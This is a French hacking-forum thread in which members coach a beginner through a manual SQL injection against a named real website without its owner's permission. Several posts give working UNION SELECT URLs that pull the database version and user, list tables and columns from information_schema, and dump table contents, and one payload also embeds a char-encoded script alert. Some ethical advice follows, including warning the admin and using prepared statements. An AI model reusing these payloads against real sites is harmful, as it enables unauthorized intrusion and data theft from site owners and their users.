Annonce

Réduire
Aucune annonce.

Demande d'explication

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Demande d'explication

    Salut salut,

    Je décidais de me mettre un peu au faille sql et donc je me suis dis en lisant le tuto de sakarov : http://hackademics.fr/showthread.php...QL-%E0-la-mano

    Ainsi que d'autre du même acabit(voir exactement les mêmes ... (je pense qu'il y a du plagiat :/).

    Donc j'étais partis pour mettre en pratique ce que je lisais, avec pour but de prévenir l'admin du problème (autant faire une BA au passage , c'est toujours sympa!).

    Donc voila le site en question : www.futurefarmers.com/playshop/PJ1.php?id=3 (Hmmm je rappel juste que nous sommes une communauté WH ..)

    Donc on voit bien la faille comme ceci:
    www.futurefarmers.com/playshop/PJ1.php?id=3'

    http://www.futurefarmers.com/playshop/PJ1.php?id=3order by 14 ici ça marche , et 15 marche plus. Donc 14 columns.

    et ensuite j'arrive pas à faire les union quelqu'un sait pourquoi ? c'est moi ou bien il y a une protection et donc pas vraiment de faille ? en allant un peu plus loin j'ai observé un problème avec le select aussi ...

    Donc des idées ?

    Merci d'avance !

  • #2
    /playshop/PJ1.php?id=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14%20%20--

    "id=-3" ca n'existe pas, du coup les champs sélectionné dans l’UNION seront retourné (1,2,3,4,5,6,7,8,9,10,11,12,13,14)

    exemple:

    /playshop/PJ1.php?id=-3+union+select+1,2,3,database%28%29,version%28%29,char%20%28062,060,115,099,114,105,112,116,062,097, 108,101,114,116,040,047,067,111,110,116,097,099,116,032,108,039,097,100,109,105,110,046,032,088,083, 083,032,098,121,032,080,108,051,120,047,041,060,047,115,099,114,105,112,116,062%29,user%28%29,8,9,10 ,11,12,13,14%20%20--

    je te laisse finir

    @+
    Dernière modification par pl3x, 06 janvier 2017, 12h33.

    Commentaire


    • #3
      Beh, merci effectivement les ptits numéro s'affiche mais donc il fait faire un "id=-3" et pas garder le id = 3 pour les faire apparaitre. Merci en tout cas !

      je continue pour voir jusqu'a ou j'arrive : mais tu semble y être arrivé sans problème


      Ps : j'adore ton second lien


      par contre la version : 5.1.72-rel14.10

      Après j'arrive pas à trouver le nom des tables, je sais pas si il y a une technique particulière mais si c'est en blind c'est bizarre... Après c'est ma première tentative ^^'

      j'ai essayé les noms de colonne classique : tel que admin / password / user et plein de déclinaison de ces 3 mais rien .. je pense que c'est une erreur de syntaxe de ma part ...
      Dernière modification par WorldCitizen, 21 juillet 2015, 20h10.

      Commentaire


      • #4
        Hello,
        J'ai fait l'injection jusqu'à avoir le nom des colonnes, et il est donc possible d'avoir les tables et colonne, en revanche je n'ai pas continué plus loin.

        Mais après, la manière que tu as de faire,correspond plus a un grey hat. Je m'explique, tu aurais du prevenir l'administrateur du site avant de commencer à injecter. Depuis là, il était libre de te demander de faire une injection ou non pour voir ce que tu arrivais à sortir. Car ce qui risque de se passer dans ton cas, c'est que l'administrateur, après avoir été averti par toi, et que tu lui donnes des infos de sa BDD, porte plainte car il ne t'as pas autorisé (oui, même si tu as été gentil en le prévenant et en ne détruisant rien).

        Mon conseil pour la prochaine fois, écris leur pour dire que tu as ajouté un quote a un lien et qu'il y a eu une erreur sql, et que tu penses qu'il y a une faille. Et propose leur de mener ton enquête et surtout, après ton boulot PROPOSE UN CORRECTIF.

        voilà voilà, sinon avec un outil fait pour les injections, j'ai pu mener jusqu'au bout l'injection, mais j'imagine que ce n'est pas ton but

        Bref bon courage

        Commentaire


        • #5
          Salut Seagate,

          Ouai peut-être effectivement tu as raison, après mes intentions n'étant pas mauvaise, je pense que c'est bon. Mais je prend en compte ce que tu me dis !! (Évidemment je compte pas tout détruire ^^' c'est pas drôle ça )

          Après je ne doute pas qu'avec un soft tu peux , mais mon but est de comprendre l'injection de A à Z avant d'utiliser (voir de développer ^^' soyons optimiste ) des softs / scripts !


          Merci en tout cas !

          Par contre je sais toujours pas comment trouves les noms des colonnes ... damn

          Commentaire


          • #6
            Alors, pour avoir la version, tu dois avoir fait la requête :

            http://futurefarmers.com/playshop/PJ...,13,14%20%20--

            (ou quelque chose qui y ressemble)

            Si oui alors c'est déjà un bon début, j'avais vu un tuto sur les injections sql en cherchant dans google "injection sql manuel". ca te permettra d'avancer :-)
            N'oublie pas que Google est ton ami et qu'il n'y a pas que hackademics comme source d'information ^^

            Commentaire


            • #7
              Comme je te l'ai précisé sur le pop up, il faut prévenir l'admin avant de faire quoi que ce soit.

              un petit peut d'aide pour ton apprentissage:

              Pour les tables:

              sur mon deuxieme lien tu remplace "database()" par "group_concat(table_name)" et a la fin tu rajoute "+from+information_schema.tables+where+table_schema=database%28%29

              ce qui donne:

              Code:
              /playshop/PJ1.php?id=-3+union+select+1,2,3,group_concat%28table_name%29,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database%28%29--
              pour les columns:

              "group_concat(table_name)" devient "group_concat(column_name)" et a la fin tu rajoute "+from+information_schema.columns+where+table_schema=database()

              ce qui donne :

              Code:
              /playshop/PJ1.php?id=-3+union+select+1,2,3,group_concat%28column_name%29,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_schema=database%28%29--
              cela va t'afficher les columns de la première table, si tu veux afficher les columns d'une table en particulier, il faut convertir le nom de la table en hexadecimal et modifier la requete comme ceci ""+from+information_schema.columns+where+table_name=0x_nom_de_la_table_converti_hexadecimal

              voila ce que ca donne:

              Code:
              /playshop/PJ1.php?id=-3+union+select+1,2,3,group_concat%28column_name%29,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_name=0x67616c6c6572795f70686f746f73--
              Dernière modification par pl3x, 06 janvier 2017, 12h34.

              Commentaire


              • #8
                @Seagate, ouai j'ai exactement fait ça, ensuite oui je lis pas mal de doc différentes et je recoupe les informations (c'est plutôt pas mal pour arriver à quelques choses de viable, les médias devraient faire pareille ) après hackademics est une source plutot fiable j'ai rarement des déconvenues (quand on prend de la doc des membres très actifs et qui ont fait leur preuve ! )

                @pl3x, oui pl3x j'ai vu, je viens d'envoyer un mail pour les prévenir du problème. et voir si je peux continuer !
                PAR CONTRE, comme je suis assez curieux pour ce qui est de ce domaine, j'ai donc un peu regardé ce que tu m'as mis et j'ai donc quelques questions qui en résulte !

                1-) Cette syntaxe: " +from+information_schema.tables+where+table_schema=database%28%29-- " est elle toujours la même ou spécifique aux version 5+ (comme c'est le cas ici)? car moi je rentrais plutot juste un from database ou from admin alors tu m'étonnes que ça me disais que ça ne marche pas ... En tout cas avec de la pratique je pense pouvoir gérer rapidement ( effectivement c'est censé être la base ... alors je serais bien une chèvre de pas avancer ^^' )

                2-) L'affichage est pas super ... voir j'ai l'impression qu'il manque des tables / columns : des idées pour rendre ça plus lisible ? car dans tout ce dédale difficile de savoir ou se trouve ce que je cherche !

                3-) J'ai donc accès aux noms de toutes les tables et columns, par contre toujours des problèmes avec la syntaxe ... si par exemple je souhaitais pouvoir lire la liste des utilisateurs couplé avec leur vrai nom / (enfin recoupé 2 informations par exemple pour avoir une sorte de tableau) une idée ? car j'ai beau essayé de recoupé beh ça marche pas des masses ...

                Sinon beh merci encore les gars c'est cool ! je posterais la réponse si j'en ai une...
                Dernière modification par WorldCitizen, 22 juillet 2015, 23h38.

                Commentaire


                • #9
                  Envoyé par WorldCitizen Voir le message

                  1-) Cette syntaxe: " +from+information_schema.tables+where+table_schema=database%28%29-- " est elle toujours la même ou spécifique aux version 5+ (comme c'est le cas ici)?
                  oui cela concerne les versions 5+ de Mysql, même si pour les versions 4 les requêtes sont assez semblables

                  car moi je rentrais plutot juste un from database ou from admin alors tu m'étonnes que ça me disais que ça ne marche pas ...
                  a ce moment la on dit que tu fait une injection a l'aveugle, car tu ne connais pas le nom de la column, pas très efficace mis a part pour les cms, car avec l'habitude tu connais les noms des columns intéressante sur les différents cms.

                  car dans tout ce dédale difficile de savoir ou se trouve ce que je cherche !
                  j'espere que tu ne cherche pas ce que je pense... car comme tu la bien précisé sur ton premier post: "(Hmmm je rappel juste que nous sommes une communauté WH ..) "

                  J'ai donc accès aux noms de toutes les tables et columns, par contre toujours des problèmes avec la syntaxe ... si par exemple je souhaitais pouvoir lire la liste des utilisateurs couplé avec leur vrai nom
                  maintenant que tu connais le nom des columns, il suffit d'afficher le contenu, a la fin de ta requete tu met +from+le_nom_de_la_column_qui_t’intéresse et a la place de "group_concat(column_name)" tu met "group_concat(nom_de_la_column,0x3a,nom_de_la_column)"

                  exemple:

                  Code:
                  /playshop/PJ1.php?id=-3+union+select+1,2,3,group_concat%28photo_id,0x3a,photo_filename%29,5,6,7,8,9,10,11,12,13,14+from+gallery_photos--
                  Dernière modification par pl3x, 06 janvier 2017, 12h34.

                  Commentaire


                  • #10
                    Merci encore Pl3x, c'est sympa!

                    Envoyé par pl3x Voir le message



                    j'espere que tu ne cherche pas ce que je pense... car comme tu la bien précisé sur ton premier post: "(Hmmm je rappel juste que nous sommes une communauté WH ..) "

                    Pas de soucis à se faire la dessus je suis un homme de principe et de parole ^^' je voulais voir par exemple comment tu peux afficher une liste d'utilisateur ( je me fous royalement des mots de passes si c'est ce que tu pensais )

                    Sinon avec ton exemple j'ai tout ce qu'il me fallait, bon l'admin n'ayant pas donner de réponse je pense pas avoir d'autre question et le laisser tranquille, il est prévenue j'ai la conscience tranquille.

                    Merci beaucoup, a part faire un report à l'admin, On peux faire autre choses pour les mettre en garde ?

                    Commentaire


                    • #11
                      Envoyé par WorldCitizen Voir le message
                      Sinon avec ton exemple j'ai tout ce qu'il me fallait, bon l'admin n'ayant pas donner de réponse je pense pas avoir d'autre question et le laisser tranquille, il est prévenue j'ai la conscience tranquille.

                      Merci beaucoup, a part faire un report à l'admin, On peux faire autre choses pour les mettre en garde ?
                      Laisses lui du temps pour digérer la nouvelle.

                      C'est difficile à accepter des fois, et souvent les gens le prennent mal (je parle d’expérience là...).
                      Mais tu as fait tout ce que tu pouvais sinon...

                      Commentaire


                      • #12
                        Ce que t peux faire de plus ? Lui proposer des améliorations, dans ce cadre-là, ce serait de passer par PDO et faire des requêtes préparée (anti-slasher les caractères dangereurx etc). Mais à part ça, tu peux rien faire de plus...

                        Commentaire


                        • #13
                          Ok, beh merci à vous les gars !

                          Je vous tiens au jus si j'ai une réponse mais toujours pas.

                          Commentaire


                          • #14
                            Je peux éventuellement les contacter au nom du forum si tu le souhaite.
                            Comme tu l'entends (mp)


                            Suivre Hackademics: Twitter, Google+, Facebook.

                            Commentaire

                            Chargement...
                            X